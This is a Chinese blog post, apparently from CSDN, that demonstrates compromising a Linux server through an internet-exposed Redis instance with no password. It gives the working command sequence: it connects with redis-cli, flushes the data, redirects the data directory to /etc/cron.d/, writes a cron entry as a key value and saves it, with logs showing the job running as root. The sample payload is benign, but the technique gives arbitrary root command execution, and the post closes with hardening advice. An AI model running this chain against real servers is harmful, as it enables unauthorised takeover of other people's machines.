借redis之手入侵服务器

说明

利用redis端口暴露公网,且没有设置密码,能轻松入侵linux 服务器。

原理

远程连接redis,修改redis数据目录及文件为linux计划任务的目录,设置xx 键的值为计划任务,save数据后将会把该值写入计划任务文件,计划任务命令中可以执行任意脚本。

入侵演示

1. 编译安装并配置

redis免密码,允许外部连接。主要修改以下参数,其他参数默认即可

bind 0.0.0.0  #允许所有ip连接
protected-mode no  # 关闭保护模式
daemonize yes #后台运行
# redis安装后默认配置是免密码的
2. 启动redis
# 这里是root直接启动,入侵后就得到了root权限
/usr/local/redis/bin/redis-server redis.conf
3. 入侵
3.0 连接redis

使用redis-cli工具直接连接redis

redis-cli -h jiankongshuo.com -p 6379
3.1 清空redis所有数据
flushall 
3.2 修改redis 数据目录

这里设置为计划任务子目录

config set dir "/etc/cron.d/"
3.3 修改dbfilename
config set dbfilename imin
3.4 设置键值并保存
set test "\n*/1 * * * * root echo 'HaHa,I am in!'>/root/redis\n"
save
3.5 验证是否写入计划任务文件
cat /etc/cron.d/imin
REDIS0009	redis-ver5.0.7
redis-bits󿿀򳨭escused-mem 
𮤭preamble~󃳥st3
*/1 * * * * root echo 'HaHa,I am in!'>/root/redis

乱码及上面的redis信息不用管,计划任务会执行

3.6 验证计划任务是否执行
tail -1f /var/log/cron 
Mar  7 11:34:01 jiankongshuo CROND[10348]: (root) CMD (echo 'HaHa,I am in!'>/root/redis)
Mar  7 11:35:01 jiankongshuo CROND[10352]: (root) CMD (echo 'HaHa,I am in!'>/root/redis)
Mar  7 11:36:01 jiankongshuo CROND[10354]: (root) CMD (echo 'HaHa,I am in!'>/root/redis)
Mar  7 11:37:01 jiankongshuo CROND[10356]: (root) CMD (echo 'HaHa,I am in!'>/root/redis)
3.7 验证计划命令结果
 cat  /root/redis
 HaHa,I am in!

至此,redis入侵演示完毕。
环境说明

  1. 操作系统 CentOS8
  2. redis 编译参数 make install PREFIX=/usr/local/redis
  3. redis版本Redis server v=5.0.7

特殊说明
使用yum安装的redis (也是root启动)不会有这个问题,文件一直被限制在/var/lib/redis 下面。 而自己编译安装进行攻击,目前我还不清楚yum安装的是否有其他编译参数限制了redis的数据目录,从而更加安全。
最后,请大家务必关闭redis的外网访问,切一定要设置redis强密码。

参考 https://blog.csdn.net/kouryoushine/article/details/87917762

如果你觉得本文对你有所帮助,欢迎关注!
https://segmentfault.com/img/bVbAYdT/view

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值